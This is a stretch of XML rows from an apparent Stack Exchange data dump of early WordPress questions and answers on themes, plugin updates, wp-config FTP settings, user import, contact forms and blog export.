  <row Id="38" PostTypeId="2" ParentId="6" CreationDate="2010-08-11T20:09:08.573" Score="1" ViewCount="" Body="&lt;p&gt;here is another one recently released&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://new2wp.com/pro/basic-theme-framework-wordpress3-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/pro/basic-theme-framework-wordpress3-custom-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2010-08-11T20:09:08.573" />
  <row Id="39" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T20:11:06.320" Score="3" ViewCount="" Body="&lt;h2&gt;Frugal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://frugaltheme.com&quot; rel=&quot;nofollow&quot;&gt;http://frugaltheme.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frugal is a highly flexible Premium Theme. It provides an admin interface with over 600 options for precise control over a site's Design, Performance &amp;amp; SEO. Frugal has a number of License Options ranging from $89-$499&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T20:22:26.247" LastActivityDate="2010-08-11T20:22:26.247" CommunityOwnedDate="2010-08-11T20:11:06.320" />
  <row Id="40" PostTypeId="2" ParentId="24" CreationDate="2010-08-11T20:11:46.600" Score="2" ViewCount="" Body="&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Writing_Posts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Writing Posts&lt;/strong&gt;&lt;/a&gt; (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;To schedule a post for publication on&#xA;  a future time or date, click &quot;Edit&quot; in&#xA;  the Publish area next to the words&#xA;  &quot;Publish immediately&quot;.&lt;/strong&gt; You can also&#xA;  change the publish date to a date in&#xA;  the past to back-date posts. Change&#xA;  the settings to the desired time and&#xA;  date. &lt;strong&gt;You must also hit the &quot;Publish&quot;&#xA;  button when you have completed the&#xA;  post to publish at the desired time&#xA;  and date.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T20:11:46.600" />
  <row Id="41" PostTypeId="2" ParentId="23" CreationDate="2010-08-11T20:12:21.390" Score="0" ViewCount="" Body="&lt;p&gt;I wouldn't recommend paring it down.  Yes, the markup might look bloated, but this is the &lt;em&gt;only&lt;/em&gt; way you can really narrow down the styling if you want your site to look good in, say, IE6.  Keep in mind that IE6 doesn't natively support multiple selectors (i.e. li.menu-item.current will break and default to li.current), so if you're doing any fancy CSS and want it to work with IE6, it's better to have a lot of class selectors available than not enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in reality, you &lt;em&gt;could&lt;/em&gt; pare the list down to class=&quot;menu-item&quot; ... but if you're going to ever have a menu with more than one post type, you'll need menu-item-type-post_type ... and if you want to do fancier filtering, you'll benefit from the menu-item-## class as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, no one will likely ever see the actual code behind your site, and having multiple classes defined won't hurt anything.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T20:12:21.390" CommentCount="3" />
  <row Id="42" PostTypeId="2" ParentId="13" CreationDate="2010-08-11T20:16:14.517" Score="0" ViewCount="" Body="&lt;p&gt;There is no way you can do this natively. &#xA;You'll just have to provide some other mechanism that updates your other plugins automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you could update thos plugins, you would have to update each blog. I think it's better to build something that makes an automated deployment after you release a new version. For example, something like Capistrano.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2010-08-11T20:16:14.517" />
  <row Id="43" PostTypeId="1" AcceptedAnswerId="177" CreationDate="2010-08-11T20:16:26.310" Score="5" ViewCount="370" Body="&lt;p&gt;In particular in table &lt;code&gt;wp_options&lt;/code&gt;. After almost 2 years of blog production it seems increased a lot, and I don't know how many crap is in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know a plugin that works with Wordpress 3.0 or safe query to run to search orphan keys/rows?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2010-08-13T16:03:47.837" Title="How can I delete orphan keys in Wordpress database tables?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;database&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="44" PostTypeId="2" ParentId="13" CreationDate="2010-08-11T20:16:44.577" Score="10" ViewCount="" Body="&lt;p&gt;Looks like the applicable code is in &lt;code&gt;wp-includes/update.php&lt;/code&gt;, &lt;code&gt;wp_update_plugins()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$to_send = (object) compact('plugins', 'active');&#xA;&#xA;$options = array(&#xA;    'timeout' =&amp;gt; ( ( defined('DOING_CRON') &amp;amp;&amp;amp; DOING_CRON ) ? 30 : 3), &#xA;    'body' =&amp;gt; array( 'plugins' =&amp;gt; serialize( $to_send ) ),&#xA;    'user-agent' =&amp;gt; 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )&#xA;);  &#xA;&#xA;$raw_response = wp_remote_post('http://api.wordpress.org/plugins/update-check/1.0/', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It specifically checks api.wordpress.org. Technically speaking it would be possible to pass a key inside &lt;code&gt;$to_send&lt;/code&gt; to delegate the check, but to my knowledge that is not a supported feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hook into &lt;code&gt;set_site_transient_update_plugins&lt;/code&gt; you could add your own package details into this variable. It looks like those values will be trusted when you run the plugin updater. See &lt;code&gt;wp-admin/update.php&lt;/code&gt; and &lt;code&gt;wp-admin/includes/class-wp-upgrader.php&lt;/code&gt;. Given the code in these two functions, I think it would be possible to inject your own update server, you just need to look at how the package details are formatted and match that.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-11T20:27:05.473" LastActivityDate="2010-08-11T20:27:05.473" />
  <row Id="45" PostTypeId="1" AcceptedAnswerId="159" CreationDate="2010-08-11T20:16:49.677" Score="9" ViewCount="3519" Body="&lt;p&gt;When editing one of my custom post types I want to be able to list all entries by a custom field instead of the date they are published (which, for a custom post type probably isn't relevant). I got a lead from the comments of a blog post about custom post types and the author said it was possible and that he even made it so you could click on the column names for a custom sort. He mentioned the posts_orderby function which I noted in my own comments but now I can find the blog post anymore. Any suggestions? I saw one solution that used &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_action('wp', 'check_page');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the check_page function used add_filter to change the query but I'm pretty sure it would only work in the theme files, not in the admin area.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2010-12-12T12:23:06.173" Title="How to sort the admin area of a Wordpress custom post type by a custom field" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="11" />
  <row Id="46" PostTypeId="1" AcceptedAnswerId="122" CreationDate="2010-08-11T20:17:16.680" Score="6" ViewCount="1050" Body="&lt;p&gt;The WordPress codex page for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts&lt;/a&gt; states that it does not cover all the parameters which query_posts takes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Parameters&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;This is not an exhaustive list yet. It is meant to show some of the more common things possible with setting your own queries&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a reference of all the parameters which are accepted by query_posts, though, even in just a simple list form. Is there a cheat-sheet or something similar available with this data?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-08-15T12:17:40.047" LastActivityDate="2011-08-15T12:25:54.020" Title="What are all the available parameters for query_posts?" Tags="&lt;themes&gt;&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="47" PostTypeId="2" ParentId="13" CreationDate="2010-08-11T20:20:15.177" Score="1" ViewCount="" Body="&lt;p&gt;I believe this was discussed as a filterable option on the wp-hackers mailing list back in the day. It was never resolved, IIRC. I &lt;em&gt;think&lt;/em&gt; the relevant discussion was in this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2009-February/024796.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.automattic.com/pipermail/wp-hackers/2009-February/024796.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but I could be wrong.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-11T20:20:15.177" />
  <row Id="48" PostTypeId="1" AcceptedAnswerId="49" CreationDate="2010-08-11T20:22:53.437" Score="9" ViewCount="362" Body="&lt;p&gt;How can I stop WordPress from prompting me to enter FTP information when doing updates?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T20:45:53.493" Title="How can I stop WordPress from prompting me to enter FTP information when doing updates?" Tags="&lt;plugins&gt;&lt;updates&gt;&lt;ftp&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="9" />
  <row Id="49" PostTypeId="2" ParentId="48" CreationDate="2010-08-11T20:23:25.573" Score="7" ViewCount="" Body="&lt;p&gt;If you edit your &lt;code&gt;wp-config.php&lt;/code&gt; file you can preload these FTP settings as constants read by WordPress. Keep in mind, on a shared host, you should be mindful of possible security implications. &#xA;&lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;See Editing &lt;strong&gt;&lt;code&gt;wp-config.php&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your settings will vary, but these work for me and my hosting setup. I've included some of the unused constants, prefixed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'direct');&#xA;define('FTP_BASE', '/usr/home/username/public_html/my-site.example.com/wordpress/');&#xA;define('FTP_CONTENT_DIR', '/usr/home/username/public_html/my-site.example.com/wordpress/wp-content/');&#xA;define('FTP_PLUGIN_DIR ', '/usr/home/username/public_html/my-site.example.com/wordpress/wp-content/plugins/');&#xA;// define('FTP_PUBKEY', '/home/username/.ssh/id_rsa.pub');&#xA;// define('FTP_PRIKEY', '/home/username/.ssh/id_rsa');&#xA;define('FTP_USER', 'my-ftp-username');&#xA;define('FTP_PASS', 'my-ftp-password');&#xA;define('FTP_HOST', 'ftp.my-site.example.com');&#xA;// define('FTP_SSL', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T20:23:25.573" CommentCount="4" />
  <row Id="50" PostTypeId="1" AcceptedAnswerId="61" CreationDate="2010-08-11T20:27:43.973" Score="6" ViewCount="234" Body="&lt;p&gt;I want to learn to create a theme for Wordpress&lt;br&gt;&#xA;Where can i find information and resources on how to do it?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2010-08-11T21:48:48.203" Title="Where can I learn to create my own theme?" Tags="&lt;themes&gt;&lt;theme-development&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="3" />
  <row Id="51" PostTypeId="2" ParentId="43" CreationDate="2010-08-11T20:28:21.833" Score="2" ViewCount="" Body="&lt;p&gt;This won't necessarily remove issues with &lt;code&gt;wp_options&lt;/code&gt; but I've used &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-optimize/&quot; rel=&quot;nofollow&quot;&gt;WP-Optimize&lt;/a&gt; to fix a lot of database sizing issues on my 3.0 sites.  It clears out unneeded post revisions, spam comments, and can automatically fix a lot of issues.  On my main blog, the DB was reduced from 30MB to just under 6MB and runs much more smoothly now.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T20:28:21.833" />
  <row Id="52" PostTypeId="1" AcceptedAnswerId="285" CreationDate="2010-08-11T20:28:38.713" Score="1" ViewCount="400" Body="&lt;p&gt;I'm having a strange problem with my w-admin login. This has only started since I upgraded to 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to wp-admin, the login form appears as normal, but when I enter my username and pass, I am presented with the login form again every time.&#xA;Using the password recovery feature results in an email not found error. I know the username password and email are correct, b/c I have access to the mysql database and I can see the values (at least the user name and email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas of what could be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2010-10-11T19:58:44.240" Title="wp-admin seems to be redirecting" Tags="&lt;login&gt;&lt;errors&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="53" PostTypeId="1" AcceptedAnswerId="196" CreationDate="2010-08-11T20:29:29.803" Score="3" ViewCount="561" Body="&lt;p&gt;I want to have my &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field&lt;/a&gt; use HTML, how do I do that in such a way that I can use a rich text editor to view the content?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-13T20:52:00.920" Title="I want to have my custom field use HTML, how do I do that?" Tags="&lt;content&gt;&lt;html&gt;&lt;custom-field&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="54" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T20:31:13.183" Score="2" ViewCount="" Body="&lt;p&gt;The official place to start would be:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development&lt;/a&gt;&#xA;Another good article with various resources from smashing magazine is &lt;a href=&quot;http://www.smashingmagazine.com/2009/04/29/ultimate-guide-to-using-wordpress-for-a-portfolio/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2010-08-11T20:31:13.183" />
  <row Id="55" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T20:31:40.610" Score="1" ViewCount="" Body="&lt;p&gt;The best place to start is the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;.  It has several tutorials that walk you through templating, building the loop, and customizing your theme to do whatever you need it to do.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T20:31:40.610" />
  <row Id="56" PostTypeId="1" CreationDate="2010-08-11T20:31:48.097" Score="3" ViewCount="182" Body="&lt;p&gt;I want to create a WordPress plug-in but also want to ensure that the plugin can only be used after it has been activated with a serial key that should be unique for each domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to go about it assuming:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have to give the actual source code to the users and cannot have a VideoPress type of security - which is just a JavaScript wrapper for the actual content that comes from the plugin's server.&lt;/li&gt;&#xA;&lt;li&gt;I want to ensure that a novice to average PHP developer will not be able to cirumvent the security easily.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-09-05T10:14:53.830" Title="Secure WordPress paid plug-in" Tags="&lt;plugins&gt;&lt;security&gt;&lt;paid-plugins&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="0" />
  <row Id="57" PostTypeId="2" ParentId="52" CreationDate="2010-08-11T20:34:37.810" Score="1" ViewCount="" Body="&lt;p&gt;probably the upgrade did not go too well.  I suggest disabling all plugins, reuploading all the WP3 files (except the content of the wp-content folder) and then redoing the wp-admin/upgrade.php, then if the problem persists, look at the wp_users table see if your account still exists.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2010-08-11T20:34:37.810" />
  <row Id="58" PostTypeId="2" ParentId="6" CreationDate="2010-08-11T20:34:47.200" Score="1" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://standardtheme.com/&quot; rel=&quot;nofollow&quot;&gt;http://standardtheme.com/&lt;/a&gt; -- they just released version 2.0, and from what I've seen it works quite well, whether or not you want to customize it.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2010-08-11T20:34:47.200" />
  <row Id="59" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T20:36:40.597" Score="2" ViewCount="" Body="&lt;p&gt;While I've worked through some of the Wordpress Codex tutorials and reference material, the best resource I've found so far is a book that I can heartily recommend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470684151&quot; rel=&quot;nofollow&quot; title=&quot;Link to'Smashing Wordpress: Beyond the Blog' on Amazon.&quot;&gt;Smashing Wordpress: Beyond the Blog (Amazon link)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It walks you through which files to amend, how to properly ('safely') change the xhtml, php, css to effect changes throughout. On-line tutorials and references are somewhat easier to get hold of, but I enjoy reading off-line and remember more from hard-copy for whatever reason. Bear in mind, though, that this is the only Wordpress book I've bought recently, so my sample size is ridiculously small.&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2010-08-11T20:36:40.597" />
  <row Id="60" PostTypeId="1" AcceptedAnswerId="69" CreationDate="2010-08-11T20:36:41.907" Score="1" ViewCount="484" Body="&lt;p&gt;I have a spreadsheet (XLS) of names, email addresses, and passwords from another content management system. Is there a way to import these folks as users (I think subscriber level, but some may be Editors as well) into WordPress?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T20:58:15.693" Title="How can I import users into WordPress?" Tags="&lt;cms&gt;&lt;users&gt;&lt;bulk-import&gt;" AnswerCount="2" />
  <row Id="61" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T20:37:02.920" Score="5" ViewCount="" Body="&lt;p&gt;There are many different resources and tutorials on creating your own theme, particularly in series which cover starting out with WP to creating a themes options panel. A few good resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;WP Codex - Theme Developement&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/articles/web-roundups/who-needs-university-the-best-nettuts-screencast-training-courses/&quot; rel=&quot;nofollow&quot;&gt;Nettuts+/ThemeForest - WordPress for Designers&lt;/a&gt; (you have to scroll down to no. 9 to see the list of episodes for WP)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://css-tricks.com/designing-for-wordpress-complete-series-downloads/&quot; rel=&quot;nofollow&quot;&gt;CSS-Tricks - Designing for WordPress&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://net.tutsplus.com/articles/web-roundups/top-50-wordpress-tutorials/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; Nettuts+ article also contains a selection of great links to WP theme tutorials.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-11T20:37:02.920" />
  <row Id="62" PostTypeId="1" AcceptedAnswerId="528" CreationDate="2010-08-11T20:39:06.287" Score="1" ViewCount="856" Body="&lt;p&gt;I recently built a WordPress site based and am using BuddyPress for some interactive community functionality.  Members are using the forums built into BuddyPress, but are looking for a way to attach or embed pictures in their posts.  Is there any way to extend the BuddyPress forums to allow this, or are there existing plugins that allow this?  Or, is there a better forum that can be integrated into WordPress?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T04:51:30.877" LastActivityDate="2010-12-16T19:47:22.603" Title="Posting Photos and Other Attachments in a BuddyPress Forum?" Tags="&lt;buddypress&gt;&lt;forum&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="63" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T20:40:32.147" Score="0" ViewCount="" Body="&lt;p&gt;This is also a great resource for starting out with theme development: &lt;a href=&quot;http://themeshaper.com/wordpress-themes-templates-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/wordpress-themes-templates-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-11T20:40:32.147" />
  <row Id="64" PostTypeId="2" ParentId="6" CreationDate="2010-08-11T20:42:25.577" Score="1" ViewCount="" Body="&lt;p&gt;How about &lt;a href=&quot;http://themeshaper.com/toolbox-html5-starter-theme/&quot; rel=&quot;nofollow&quot;&gt;Toolbox&lt;/a&gt;? It is HTML5 based as well.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-11T20:42:25.577" />
  <row Id="65" PostTypeId="1" AcceptedAnswerId="72" CreationDate="2010-08-11T20:43:44.933" Score="11" ViewCount="309" Body="&lt;p&gt;I want to export some or all of the posts of a blog into a format that makes sense to a publisher (traditional or self-publisher(e.g.: &lt;a href=&quot;http://www.lulu.com/&quot; rel=&quot;nofollow&quot;&gt;Lulu.com&lt;/a&gt;)) (MS Word, RTF, PDF, epub, something else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools are available to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-13T14:48:59.257" Title="How do I export my WordPress blog as a book?" Tags="&lt;export&gt;&lt;pdf&gt;" AnswerCount="4" FavoriteCount="7" />
  <row Id="66" PostTypeId="2" ParentId="48" CreationDate="2010-08-11T20:45:53.493" Score="6" ViewCount="" Body="&lt;p&gt;Check your file ownership. When the user that apache runs as can write to the wordpress directories, then the integrated upgrade process all just works without ftp. The FTP credentials are for if the web server doesn't have the right information, then wordpress prompts you for your FTP details, and attempts to use those to FTP back to the same server it is on to be able to write the files it needs. &lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2010-08-11T20:45:53.493" />
  <row Id="67" PostTypeId="2" ParentId="65" CreationDate="2010-08-11T20:46:10.840" Score="0" ViewCount="" Body="&lt;p&gt;You can export into XML. and Using XML as the base, you can develop your scripts/workflow to use the XML and convert them into various formats that you would want to. &lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2010-08-11T20:46:10.840" CommentCount="2" />
  <row Id="68" PostTypeId="2" ParentId="65" CreationDate="2010-08-11T20:47:02.100" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.blogbooker.com/wordpress.php&quot; rel=&quot;nofollow&quot;&gt;Blogbooker&lt;/a&gt; is a service which takes an XML export of your blog and turns it into a PDF, which could then be uploaded to a self publishing platform.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-11T20:47:02.100" CommentCount="1" />
  <row Id="69" PostTypeId="2" ParentId="60" CreationDate="2010-08-11T20:47:34.050" Score="3" ViewCount="" Body="&lt;p&gt;A new file, &lt;code&gt;import.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;define('WP_INSTALLING', true); // this is required. i forget why!&#xA;&#xA;include '/path/to/wordpress/wp-load.php';&#xA;include ABSPATH . WPINC . '/registration.php'; // wp_insert_user()&#xA;&#xA;$userdata = array('user_login' =&amp;gt; 'jdoe', 'user_pass' =&amp;gt; 'foobar');&#xA;$user_id = wp_insert_user($userdata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check &lt;code&gt;wp_insert_user()&lt;/code&gt; for other possible fields. Run &lt;code&gt;update_usermeta()&lt;/code&gt; for any additional needed meta fields. (Including user level, though there may be convenience functions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that here at work we redefine the &lt;code&gt;wp_authenticate()&lt;/code&gt; function (it's in &lt;code&gt;pluggable.php&lt;/code&gt;, so it can be replaced by defining it in your own plugin) and creating user accounts on-demand if they don't exist at login time.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-11T20:47:34.050" CommentCount="2" />
  <row Id="70" PostTypeId="1" AcceptedAnswerId="74" CreationDate="2010-08-11T20:48:33.843" Score="14" ViewCount="564" Body="&lt;p&gt;How does one go about building a page in wordpress that contains a contact form full of custom fields, boxes, inputs, etc. completely determined by the author of the site. It seems odd that wordpress currently lacks this feature, but knowing the wordpress community, it's unlikely that we must do without.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:25:21.727" LastActivityDate="2011-06-28T18:20:13.467" Title="Contact Form on WordPress Sites?" Tags="&lt;page&gt;&lt;contact&gt;&lt;form&gt;" AnswerCount="13" CommentCount="3" FavoriteCount="5" />
  <row Id="71" PostTypeId="1" AcceptedAnswerId="258" CreationDate="2010-08-11T20:49:35.433" Score="2" ViewCount="115" Body="&lt;p&gt;Suggestions for plugins, best practices, etc. welcome.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-13T18:58:08.337" LastActivityDate="2010-08-13T18:58:08.337" Title="How can I create an affiliate program in Wordpress?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" />
  <row Id="72" PostTypeId="2" ParentId="65" CreationDate="2010-08-11T20:49:35.573" Score="11" ViewCount="" Body="&lt;h2&gt;Anthologize&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A great option is the &lt;a href=&quot;http://anthologize.org/&quot; rel=&quot;nofollow&quot;&gt;Anthologize&lt;/a&gt; plugin.  It works with WordPress 3.0, allows you to format your book in WordPress itself, and then publish everything automatically to PDF, ePub, and other formats.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T20:49:35.573" />
  <row Id="73" PostTypeId="2" ParentId="46" CreationDate="2010-08-11T20:50:46.397" Score="5" ViewCount="" Body="&lt;p&gt;If you can read PHP code, you can take a look at the function &lt;code&gt;parse_query($query)&lt;/code&gt; in class &lt;code&gt;WP_Query&lt;/code&gt; of file &lt;code&gt;wp-includes\query.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supported arguments are all listed and managed there.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2010-08-11T20:50:46.397" CommentCount="1" />
  <row Id="74" PostTypeId="2" ParentId="70" CreationDate="2010-08-11T20:50:50.063" Score="16" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; is one of the most popular plugins to add a contact form to a WP blog. It supports multiple contact forms and you can add/remove fields as needed. Additional services such as reCAPTCHA and Akismet can be added. I use this on most of my blogs to power the contact features.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-11T20:50:50.063" CommentCount="3" />
  <row Id="75" PostTypeId="2" ParentId="70" CreationDate="2010-08-11T20:51:18.707" Score="5" ViewCount="" Body="&lt;p&gt;One of the most common plugins used to do this is &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt;.  There are also &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=contact+form&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;numerous other free plugins&lt;/a&gt; to add this functionality, as well as paid plugins such as &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T20:51:18.707" />
  <row Id="76" PostTypeId="1" AcceptedAnswerId="81" CreationDate="2010-08-11T20:51:20.250" Score="3" ViewCount="147" Body="&lt;p&gt;I'm at version 3.0 and want to move to 3.0.1 without having to download/unzip/delete/upload but I get this error when trying to update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could not create directory.: /public/wp-content/upgrade/wordpress-3.tmp/wordpress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is is safe to chmod 777 the upgrade folder?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2010-08-11T21:01:25.030" Title="Permissions to get autoupdate to work" Tags="&lt;updates&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="77" PostTypeId="1" AcceptedAnswerId="79" CreationDate="2010-08-11T20:51:49.377" Score="3" ViewCount="286" Body="&lt;p&gt;How do I make sure my blog is iPad / iPhone / Android / touch-device friendly?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-12-29T00:28:59.850" Title="How do I make my blog iPad / iPhone / Android friendly?" Tags="&lt;mobile&gt;&lt;iphone&gt;&lt;android&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="78" PostTypeId="2" ParentId="77" CreationDate="2010-08-11T20:54:42.113" Score="2" ViewCount="" Body="&lt;p&gt;Alex King's WordPress Mobile Edition plugin is my favorite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-edition/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mobile-edition/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T20:54:42.113" />
